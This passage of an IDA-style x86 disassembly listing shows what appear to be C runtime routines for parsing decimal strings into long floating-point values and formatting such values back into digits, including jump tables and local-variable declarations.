					; sub_42D450+26Aj ...
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D6EB:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE76o
		mov	[ebp+var_54], 1
		jmp	short loc_42D705
; ---------------------------------------------------------------------------


loc_42D6F4:				; CODE XREF: sub_42D450:loc_42D77Fj
		mov	eax, [ebp+var_4]
		mov	cl, [eax]
		mov	byte ptr [ebp+var_3C], cl
		mov	edx, [ebp+var_4]
		add	edx, 1
		mov	[ebp+var_4], edx


loc_42D705:				; CODE XREF: sub_42D450+2A2j
		cmp	dword_443B70, 1
		jle	short loc_42D729
		push	4
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		push	eax
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_90], eax
		jmp	short loc_42D747
; ---------------------------------------------------------------------------


loc_42D729:				; CODE XREF: sub_42D450+2BCj
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		mov	edx, off_443C7C
		xor	eax, eax
		mov	ax, [edx+ecx*2]
		and	eax, 4
		mov	[ebp+var_90], eax


loc_42D747:				; CODE XREF: sub_42D450+2D7j
		cmp	[ebp+var_90], 0
		jz	short loc_42D784
		cmp	[ebp+var_70], 19h
		jnb	short loc_42D776
		mov	ecx, [ebp+var_70]
		add	ecx, 1
		mov	[ebp+var_70], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		sub	edx, 30h
		mov	eax, [ebp+var_68]
		mov	[eax], dl
		mov	ecx, [ebp+var_68]
		add	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42D77F
; ---------------------------------------------------------------------------


loc_42D776:				; CODE XREF: sub_42D450+304j
		mov	edx, [ebp+var_6C]
		add	edx, 1
		mov	[ebp+var_6C], edx


loc_42D77F:				; CODE XREF: sub_42D450+324j
		jmp	loc_42D6F4
; ---------------------------------------------------------------------------


loc_42D784:				; CODE XREF: sub_42D450+2FEj
		movsx	eax, byte ptr [ebp+var_3C]
		movsx	ecx, byte_443B74
		cmp	eax, ecx
		jnz	short loc_42D79C
		mov	[ebp+var_4C], 4
		jmp	short loc_42D7FE
; ---------------------------------------------------------------------------


loc_42D79C:				; CODE XREF: sub_42D450+341j
		movsx	edx, byte ptr [ebp+var_3C]
		mov	[ebp+var_94], edx
		mov	eax, [ebp+var_94]
		sub	eax, 2Bh
		mov	[ebp+var_94], eax
		cmp	[ebp+var_94], 3Ah
		ja	short loc_42D7EE
		mov	edx, [ebp+var_94]
		xor	ecx, ecx
		mov	cl, byte_42DEF1[edx]
		jmp	off_42DEE5[ecx*4]


loc_42D7D3:				; DATA XREF: ___:0042DEE9o
		mov	[ebp+var_4C], 6
		jmp	short loc_42D7FE
; ---------------------------------------------------------------------------


loc_42D7DC:				; CODE XREF: sub_42D450+37Cj
					; DATA XREF: ___:off_42DEE5o
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42D7FE
; ---------------------------------------------------------------------------


loc_42D7EE:				; CODE XREF: sub_42D450+36Cj
					; sub_42D450+37Cj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx


loc_42D7FE:				; CODE XREF: sub_42D450+34Aj
					; sub_42D450+38Aj ...
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D803:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE7Ao
		mov	[ebp+var_54], 1
		mov	[ebp+var_C], 1
		cmp	[ebp+var_70], 0
		jnz	short loc_42D83E
		jmp	short loc_42D82A
; ---------------------------------------------------------------------------


loc_42D819:				; CODE XREF: sub_42D450+3ECj
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42D82A:				; CODE XREF: sub_42D450+3C7j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 30h
		jnz	short loc_42D83E
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42D819
; ---------------------------------------------------------------------------


loc_42D83E:				; CODE XREF: sub_42D450+3C5j
					; sub_42D450+3E1j
		jmp	short loc_42D851
; ---------------------------------------------------------------------------


loc_42D840:				; CODE XREF: sub_42D450:loc_42D8C9j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42D851:				; CODE XREF: sub_42D450:loc_42D83Ej
		cmp	dword_443B70, 1
		jle	short loc_42D876
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_98], eax
		jmp	short loc_42D893
; ---------------------------------------------------------------------------


loc_42D876:				; CODE XREF: sub_42D450+408j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_98], ecx


loc_42D893:				; CODE XREF: sub_42D450+424j
		cmp	[ebp+var_98], 0
		jz	short loc_42D8CE
		cmp	[ebp+var_70], 19h
		jnb	short loc_42D8C9
		mov	edx, [ebp+var_70]
		add	edx, 1
		mov	[ebp+var_70], edx
		movsx	eax, byte ptr [ebp+var_3C]
		sub	eax, 30h
		mov	ecx, [ebp+var_68]
		mov	[ecx], al
		mov	edx, [ebp+var_68]
		add	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		sub	eax, 1
		mov	[ebp+var_6C], eax


loc_42D8C9:				; CODE XREF: sub_42D450+450j
		jmp	loc_42D840
; ---------------------------------------------------------------------------


loc_42D8CE:				; CODE XREF: sub_42D450+44Aj
		movsx	ecx, byte ptr [ebp+var_3C]
		mov	[ebp+var_9C], ecx
		mov	edx, [ebp+var_9C]
		sub	edx, 2Bh
		mov	[ebp+var_9C], edx
		cmp	[ebp+var_9C], 3Ah
		ja	short loc_42D920
		mov	ecx, [ebp+var_9C]
		xor	eax, eax
		mov	al, byte_42DF38[ecx]
		jmp	off_42DF2C[eax*4]


loc_42D905:				; DATA XREF: ___:0042DF30o
		mov	[ebp+var_4C], 6
		jmp	short loc_42D930
; ---------------------------------------------------------------------------


loc_42D90E:				; CODE XREF: sub_42D450+4AEj
					; DATA XREF: ___:off_42DF2Co
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		mov	[ebp+var_4C], 0Bh
		jmp	short loc_42D930
; ---------------------------------------------------------------------------


loc_42D920:				; CODE XREF: sub_42D450+49Ej
					; sub_42D450+4AEj
					; DATA XREF: ...
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42D930:				; CODE XREF: sub_42D450+4BCj
					; sub_42D450+4CEj
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D935:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE7Eo
		mov	[ebp+var_C], 1
		cmp	dword_443B70, 1
		jle	short loc_42D961
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_A0], eax
		jmp	short loc_42D97E
; ---------------------------------------------------------------------------


loc_42D961:				; CODE XREF: sub_42D450+4F3j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_A0], ecx


loc_42D97E:				; CODE XREF: sub_42D450+50Fj
		cmp	[ebp+var_A0], 0
		jz	short loc_42D999
		mov	[ebp+var_4C], 4
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42D9A6
; ---------------------------------------------------------------------------


loc_42D999:				; CODE XREF: sub_42D450+535j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_42D9A6:				; CODE XREF: sub_42D450+547j
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42D9AB:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE82o
		mov	ecx, [ebp+var_4]
		sub	ecx, 2
		mov	[ebp+var_64], ecx
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42D9D8
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42D9D8
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42DA2D
; ---------------------------------------------------------------------------


loc_42D9D8:				; CODE XREF: sub_42D450+56Bj
					; sub_42D450+574j
		mov	dl, byte ptr [ebp+var_3C]
		mov	[ebp+var_A4], dl
		cmp	[ebp+var_A4], 2Bh
		jz	short loc_42DA17
		cmp	[ebp+var_A4], 2Dh
		jz	short loc_42DA07
		cmp	[ebp+var_A4], 30h
		jz	short loc_42D9FE
		jmp	short loc_42DA20
; ---------------------------------------------------------------------------


loc_42D9FE:				; CODE XREF: sub_42D450+5AAj
		mov	[ebp+var_4C], 8
		jmp	short loc_42DA2D
; ---------------------------------------------------------------------------


loc_42DA07:				; CODE XREF: sub_42D450+5A1j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_42DA2D
; ---------------------------------------------------------------------------


loc_42DA17:				; CODE XREF: sub_42D450+598j
		mov	[ebp+var_4C], 7
		jmp	short loc_42DA2D
; ---------------------------------------------------------------------------


loc_42DA20:				; CODE XREF: sub_42D450+5ACj
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_64]
		mov	[ebp+var_4], eax


loc_42DA2D:				; CODE XREF: sub_42D450+586j
					; sub_42D450+5B5j ...
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42DA32:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE8Ao
		mov	[ebp+var_18], 1
		jmp	short loc_42DA4C
; ---------------------------------------------------------------------------


loc_42DA3B:				; CODE XREF: sub_42D450+605j
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42DA4C:				; CODE XREF: sub_42D450+5E9j
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 30h
		jnz	short loc_42DA57
		jmp	short loc_42DA3B
; ---------------------------------------------------------------------------


loc_42DA57:				; CODE XREF: sub_42D450+603j
		movsx	edx, byte ptr [ebp+var_3C]
		cmp	edx, 31h
		jl	short loc_42DA7B
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 39h
		jg	short loc_42DA7B
		mov	[ebp+var_4C], 9
		mov	ecx, [ebp+var_4]
		sub	ecx, 1
		mov	[ebp+var_4], ecx
		jmp	short loc_42DA8B
; ---------------------------------------------------------------------------


loc_42DA7B:				; CODE XREF: sub_42D450+60Ej
					; sub_42D450+617j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx


loc_42DA8B:				; CODE XREF: sub_42D450+629j
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42DA90:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE86o
		movsx	eax, byte ptr [ebp+var_3C]
		cmp	eax, 31h
		jl	short loc_42DAB4
		movsx	ecx, byte ptr [ebp+var_3C]
		cmp	ecx, 39h
		jg	short loc_42DAB4
		mov	[ebp+var_4C], 9
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42DADE
; ---------------------------------------------------------------------------


loc_42DAB4:				; CODE XREF: sub_42D450+647j
					; sub_42D450+650j
		mov	al, byte ptr [ebp+var_3C]
		mov	[ebp+var_A8], al
		cmp	[ebp+var_A8], 30h
		jz	short loc_42DAC8
		jmp	short loc_42DAD1
; ---------------------------------------------------------------------------


loc_42DAC8:				; CODE XREF: sub_42D450+674j
		mov	[ebp+var_4C], 8
		jmp	short loc_42DADE
; ---------------------------------------------------------------------------


loc_42DAD1:				; CODE XREF: sub_42D450+676j
		mov	[ebp+var_4C], 0Ah
		mov	ecx, [ebp+var_64]
		mov	[ebp+var_4], ecx


loc_42DADE:				; CODE XREF: sub_42D450+662j
					; sub_42D450+67Fj
		jmp	loc_42DC53
; ---------------------------------------------------------------------------


loc_42DAE3:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE8Eo
		mov	[ebp+var_18], 1
		mov	[ebp+var_7C], 0
		jmp	short loc_42DB04
; ---------------------------------------------------------------------------


loc_42DAF3:				; CODE XREF: sub_42D450:loc_42DB72j
		mov	edx, [ebp+var_4]
		mov	al, [edx]
		mov	byte ptr [ebp+var_3C], al
		mov	ecx, [ebp+var_4]
		add	ecx, 1
		mov	[ebp+var_4], ecx


loc_42DB04:				; CODE XREF: sub_42D450+6A1j
		cmp	dword_443B70, 1
		jle	short loc_42DB29
		push	4
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		push	edx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_AC], eax
		jmp	short loc_42DB46
; ---------------------------------------------------------------------------


loc_42DB29:				; CODE XREF: sub_42D450+6BBj
		mov	eax, [ebp+var_3C]
		and	eax, 0FFh
		mov	ecx, off_443C7C
		xor	edx, edx
		mov	dx, [ecx+eax*2]
		and	edx, 4
		mov	[ebp+var_AC], edx


loc_42DB46:				; CODE XREF: sub_42D450+6D7j
		cmp	[ebp+var_AC], 0
		jz	short loc_42DB77
		mov	eax, [ebp+var_7C]
		imul	eax, 0Ah
		movsx	ecx, byte ptr [ebp+var_3C]
		lea	edx, [eax+ecx-30h]
		mov	[ebp+var_7C], edx
		cmp	[ebp+var_7C], 1450h
		jle	short loc_42DB72
		mov	[ebp+var_7C], 1451h
		jmp	short loc_42DB77
; ---------------------------------------------------------------------------


loc_42DB72:				; CODE XREF: sub_42D450+717j
		jmp	loc_42DAF3
; ---------------------------------------------------------------------------


loc_42DB77:				; CODE XREF: sub_42D450+6FDj
					; sub_42D450+720j
		mov	eax, [ebp+var_7C]
		mov	[ebp+var_14], eax
		jmp	short loc_42DB90
; ---------------------------------------------------------------------------


loc_42DB7F:				; CODE XREF: sub_42D450+78Bj
		mov	ecx, [ebp+var_4]
		mov	dl, [ecx]
		mov	byte ptr [ebp+var_3C], dl
		mov	eax, [ebp+var_4]
		add	eax, 1
		mov	[ebp+var_4], eax


loc_42DB90:				; CODE XREF: sub_42D450+72Dj
		cmp	dword_443B70, 1
		jle	short loc_42DBB5
		push	4
		mov	ecx, [ebp+var_3C]
		and	ecx, 0FFh
		push	ecx
		call	sub_41DA90
		add	esp, 8
		mov	[ebp+var_B0], eax
		jmp	short loc_42DBD2
; ---------------------------------------------------------------------------


loc_42DBB5:				; CODE XREF: sub_42D450+747j
		mov	edx, [ebp+var_3C]
		and	edx, 0FFh
		mov	eax, off_443C7C
		xor	ecx, ecx
		mov	cx, [eax+edx*2]
		and	ecx, 4
		mov	[ebp+var_B0], ecx


loc_42DBD2:				; CODE XREF: sub_42D450+763j
		cmp	[ebp+var_B0], 0
		jz	short loc_42DBDD
		jmp	short loc_42DB7F
; ---------------------------------------------------------------------------


loc_42DBDD:				; CODE XREF: sub_42D450+789j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_4]
		sub	edx, 1
		mov	[ebp+var_4], edx
		jmp	short loc_42DC53
; ---------------------------------------------------------------------------


loc_42DBEF:				; CODE XREF: sub_42D450+D5j
					; DATA XREF: ___:0042DE96o
		cmp	[ebp+arg_18], 0
		jz	short loc_42DC43
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_64], eax
		mov	cl, byte ptr [ebp+var_3C]
		mov	[ebp+var_B4], cl
		cmp	[ebp+var_B4], 2Bh
		jz	short loc_42DC2B
		cmp	[ebp+var_B4], 2Dh
		jz	short loc_42DC1B
		jmp	short loc_42DC34
; ---------------------------------------------------------------------------


loc_42DC1B:				; CODE XREF: sub_42D450+7C7j
		mov	[ebp+var_4C], 7
		mov	[ebp+var_74], 0FFFFFFFFh
		jmp	short loc_42DC41
; ---------------------------------------------------------------------------


loc_42DC2B:				; CODE XREF: sub_42D450+7BEj
		mov	[ebp+var_4C], 7
		jmp	short loc_42DC41
; ---------------------------------------------------------------------------


loc_42DC34:				; CODE XREF: sub_42D450+7C9j
		mov	[ebp+var_4C], 0Ah
		mov	edx, [ebp+var_64]
		mov	[ebp+var_4], edx


loc_42DC41:				; CODE XREF: sub_42D450+7D9j
					; sub_42D450+7E2j
		jmp	short loc_42DC53
; ---------------------------------------------------------------------------


loc_42DC43:				; CODE XREF: sub_42D450+7A3j
		mov	[ebp+var_4C], 0Ah
		mov	eax, [ebp+var_4]
		sub	eax, 1
		mov	[ebp+var_4], eax


loc_42DC53:				; CODE XREF: sub_42D450+CCj
					; sub_42D450+D5j ...
		jmp	loc_42D4F7
; ---------------------------------------------------------------------------


loc_42DC58:				; CODE XREF: sub_42D450+ABj
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_4]
		mov	[ecx], edx
		cmp	[ebp+var_54], 0
		jz	loc_42DDA7
		cmp	[ebp+var_40], 0
		jnz	loc_42DDA7
		cmp	[ebp+var_78], 0
		jnz	loc_42DDA7
		cmp	[ebp+var_70], 18h
		jbe	short loc_42DCAF
		movsx	eax, [ebp+var_21]
		cmp	eax, 5
		jl	short loc_42DC96
		mov	cl, [ebp+var_21]
		add	cl, 1
		mov	[ebp+var_21], cl


loc_42DC96:				; CODE XREF: sub_42D450+83Bj
		mov	[ebp+var_70], 18h
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax


loc_42DCAF:				; CODE XREF: sub_42D450+832j
		cmp	[ebp+var_70], 0
		jbe	loc_42DD8A
		mov	ecx, [ebp+var_68]
		sub	ecx, 1
		mov	[ebp+var_68], ecx
		jmp	short loc_42DCCD
; ---------------------------------------------------------------------------


loc_42DCC4:				; CODE XREF: sub_42D450+899j
		mov	edx, [ebp+var_68]
		sub	edx, 1
		mov	[ebp+var_68], edx


loc_42DCCD:				; CODE XREF: sub_42D450+872j
		mov	eax, [ebp+var_68]
		movsx	ecx, byte ptr [eax]
		test	ecx, ecx
		jnz	short loc_42DCEB
		mov	edx, [ebp+var_70]
		sub	edx, 1
		mov	[ebp+var_70], edx
		mov	eax, [ebp+var_6C]
		add	eax, 1
		mov	[ebp+var_6C], eax
		jmp	short loc_42DCC4
; ---------------------------------------------------------------------------


loc_42DCEB:				; CODE XREF: sub_42D450+885j
		lea	ecx, [ebp+var_60]
		push	ecx
		mov	edx, [ebp+var_70]
		push	edx
		lea	eax, [ebp+var_38]
		push	eax
		call	sub_42D310
		add	esp, 0Ch
		cmp	[ebp+var_74], 0
		jge	short loc_42DD0D
		mov	ecx, [ebp+var_14]
		neg	ecx
		mov	[ebp+var_14], ecx


loc_42DD0D:				; CODE XREF: sub_42D450+8B3j
		mov	edx, [ebp+var_14]
		add	edx, [ebp+var_6C]
		mov	[ebp+var_14], edx
		cmp	[ebp+var_18], 0
		jnz	short loc_42DD25
		mov	eax, [ebp+var_14]
		add	eax, [ebp+arg_10]
		mov	[ebp+var_14], eax


loc_42DD25:				; CODE XREF: sub_42D450+8CAj
		cmp	[ebp+var_C], 0
		jnz	short loc_42DD34
		mov	ecx, [ebp+var_14]
		sub	ecx, [ebp+arg_14]
		mov	[ebp+var_14], ecx


loc_42DD34:				; CODE XREF: sub_42D450+8D9j
		cmp	[ebp+var_14], 1450h
		jle	short loc_42DD46
		mov	[ebp+var_40], 1
		jmp	short loc_42DD88
; ---------------------------------------------------------------------------


loc_42DD46:				; CODE XREF: sub_42D450+8EBj
		cmp	[ebp+var_14], 0FFFFEBB0h
		jge	short loc_42DD58
		mov	[ebp+var_78], 1
		jmp	short loc_42DD88
; ---------------------------------------------------------------------------


loc_42DD58:				; CODE XREF: sub_42D450+8FDj
		mov	edx, [ebp+arg_C]
		push	edx
		mov	eax, [ebp+var_14]
		push	eax
		lea	ecx, [ebp+var_60]
		push	ecx
		call	sub_4306E0
		add	esp, 0Ch
		mov	dx, [ebp+var_60]
		mov	[ebp+var_48], dx
		mov	eax, [ebp+var_5E]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_5A]
		mov	[ebp+var_10], ecx
		mov	dx, [ebp+var_56]
		mov	word ptr [ebp+var_50], dx


loc_42DD88:				; CODE XREF: sub_42D450+8F4j
					; sub_42D450+906j
		jmp	short loc_42DDA7
; ---------------------------------------------------------------------------


loc_42DD8A:				; CODE XREF: sub_42D450+863j
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx


loc_42DDA7:				; CODE XREF: sub_42D450+814j
					; sub_42D450+81Ej ...
		cmp	[ebp+var_54], 0
		jnz	short loc_42DDD6
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	edx, [ebp+var_50]
		and	edx, 0FFFFh
		mov	[ebp+var_10], edx
		mov	eax, [ebp+var_10]
		mov	[ebp+var_8], eax
		mov	ecx, [ebp+var_44]
		or	ecx, 4
		mov	[ebp+var_44], ecx
		jmp	short loc_42DE2D
; ---------------------------------------------------------------------------


loc_42DDD6:				; CODE XREF: sub_42D450+95Bj
		cmp	[ebp+var_40], 0
		jz	short loc_42DE01
		mov	word ptr [ebp+var_50], 7FFFh
		mov	[ebp+var_10], 80000000h
		mov	[ebp+var_8], 0
		mov	[ebp+var_48], 0
		mov	edx, [ebp+var_44]
		or	edx, 2
		mov	[ebp+var_44], edx
		jmp	short loc_42DE2D
; ---------------------------------------------------------------------------


loc_42DE01:				; CODE XREF: sub_42D450+98Aj
		cmp	[ebp+var_78], 0
		jz	short loc_42DE2D
		mov	[ebp+var_48], 0
		mov	word ptr [ebp+var_50], 0
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	[ebp+var_10], eax
		mov	ecx, [ebp+var_10]
		mov	[ebp+var_8], ecx
		mov	edx, [ebp+var_44]
		or	edx, 1
		mov	[ebp+var_44], edx


loc_42DE2D:				; CODE XREF: sub_42D450+984j
					; sub_42D450+9AFj ...
		mov	eax, [ebp+arg_0]
		mov	cx, [ebp+var_48]
		mov	[eax], cx
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+var_8]
		mov	[edx+2], eax
		mov	ecx, [ebp+arg_0]
		mov	edx, [ebp+var_10]
		mov	[ecx+6], edx
		mov	eax, [ebp+var_50]
		and	eax, 0FFFFh
		mov	ecx, [ebp+var_1C]
		and	ecx, 0FFFFh
		or	eax, ecx
		mov	edx, [ebp+arg_0]
		mov	[edx+0Ah], ax
		mov	eax, [ebp+var_44]
		mov	esp, ebp
		pop	ebp
		retn
sub_42D450	endp

; ---------------------------------------------------------------------------
off_42DE6A	dd offset loc_42D52C	; DATA XREF: sub_42D450+D5r
		dd offset loc_42D5CA
		dd offset loc_42D680
		dd offset loc_42D6EB
		dd offset loc_42D803
		dd offset loc_42D935
		dd offset loc_42D9AB
		dd offset loc_42DA90
		dd offset loc_42DA32
		dd offset loc_42DAE3
		dd offset loc_42DC53
		dd offset loc_42DBEF
off_42DE9A	dd offset loc_42D659	; DATA XREF: sub_42D450+1F0r
		dd offset loc_42D647
		dd offset loc_42D650
		dd offset loc_42D66B
byte_42DEAA	db 0			; DATA XREF: sub_42D450+1EAr
		db 3
		dd 1030300h, 4 dup(3030303h), 2030303h,	3030302h, 6 dup(3030303h)
		dd 2030303h
		db 2
off_42DEE5	dd offset loc_42D7DC	; DATA XREF: sub_42D450+37Cr
		dd offset loc_42D7D3
		dd offset loc_42D7EE
byte_42DEF1	db 0			; DATA XREF: sub_42D450+376r
		dw 2
		dd 5 dup(2020202h), 1010202h, 7	dup(2020202h), 1010202h
off_42DF2C	dd offset loc_42D90E	; DATA XREF: sub_42D450+4AEr
		dd offset loc_42D905
		dd offset loc_42D920
byte_42DF38	db 0, 2, 0, 16h	dup(2),	2 dup(1), 1Eh dup(2), 2	dup(1)
					; DATA XREF: sub_42D450+4A8r
		db 0Dh dup(0CCh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	0
		push	0
		push	0
		mov	eax, [ebp+14h]
		push	eax
		mov	ecx, [ebp+10h]
		push	ecx
		mov	edx, [ebp+0Ch]
		push	edx
		lea	eax, [ebp-0Ch]
		push	eax
		call	sub_42D450
		add	esp, 1Ch
		mov	[ebp-14h], eax
		mov	ecx, [ebp+8]
		push	ecx
		lea	edx, [ebp-0Ch]
		push	edx
		call	sub_42A300
		add	esp, 8
		mov	[ebp-10h], eax
		cmp	dword ptr [ebp-10h], 1
		jnz	short loc_42DFC8
		mov	eax, [ebp-14h]
		or	al, 2
		mov	[ebp-14h], eax


loc_42DFC8:				; CODE XREF: ___:0042DFBEj
		mov	eax, [ebp-14h]
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42DFD0	proc near		; CODE XREF: sub_42A580+36p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= word ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_53		= byte ptr -53h
var_52		= byte ptr -52h
var_51		= byte ptr -51h
var_50		= byte ptr -50h
var_4F		= byte ptr -4Fh
var_4E		= byte ptr -4Eh
var_4D		= byte ptr -4Dh
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_4A		= byte ptr -4Ah
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_32		= dword	ptr -32h
var_2E		= dword	ptr -2Eh
var_28		= byte ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= word ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	word ptr [ebp+var_64], 4D10h
		mov	word ptr [ebp+var_3C], 4Dh
		mov	word ptr [ebp+var_60], 9Ah
		mov	[ebp+var_20], 134312F4h
		mov	[ebp+var_54], 0CCh
		mov	[ebp+var_53], 0CCh
		mov	[ebp+var_52], 0CCh
		mov	[ebp+var_51], 0CCh
		mov	[ebp+var_50], 0CCh
		mov	[ebp+var_4F], 0CCh
		mov	[ebp+var_4E], 0CCh
		mov	[ebp+var_4D], 0CCh
		mov	[ebp+var_4C], 0CCh
		mov	[ebp+var_4B], 0CCh
		mov	[ebp+var_4A], 0FBh
		mov	[ebp+var_49], 3Fh
		mov	[ebp+var_58], 1
		mov	ax, [ebp+arg_8]
		mov	word ptr [ebp+var_70], ax
		mov	ecx, [ebp+arg_4]
		mov	[ebp+var_24], ecx
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_48], edx
		mov	eax, [ebp+var_70]
		and	eax, 0FFFFh
		and	eax, 8000h
		mov	word ptr [ebp+var_68], ax
		mov	cx, word ptr [ebp+var_70]
		and	cx, 7FFFh
		mov	word ptr [ebp+var_70], cx
		mov	edx, [ebp+var_68]
		and	edx, 0FFFFh
		test	edx, edx
		jz	short loc_42E06E
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+2], 2Dh
		jmp	short loc_42E075
; ---------------------------------------------------------------------------


loc_42E06E:				; CODE XREF: sub_42DFD0+93j
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h


loc_42E075:				; CODE XREF: sub_42DFD0+9Cj
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		test	edx, edx
		jnz	short loc_42E0BC
		cmp	[ebp+var_24], 0
		jnz	short loc_42E0BC
		cmp	[ebp+var_48], 0
		jnz	short loc_42E0BC
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	0
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+2], 20h
		mov	edx, [ebp+arg_14]
		mov	byte ptr [edx+3], 1
		mov	eax, [ebp+arg_14]
		mov	byte ptr [eax+4], 30h
		mov	ecx, [ebp+arg_14]
		mov	byte ptr [ecx+5], 0
		mov	eax, 1
		jmp	loc_42E4E2
; ---------------------------------------------------------------------------


loc_42E0BC:				; CODE XREF: sub_42DFD0+B0j
					; sub_42DFD0+B6j ...
		mov	edx, [ebp+var_70]
		and	edx, 0FFFFh
		cmp	edx, 7FFFh
		jnz	loc_42E1B6
		mov	eax, [ebp+arg_14]
		mov	word ptr [eax],	1
		cmp	[ebp+var_24], 80000000h
		jnz	short loc_42E0E8
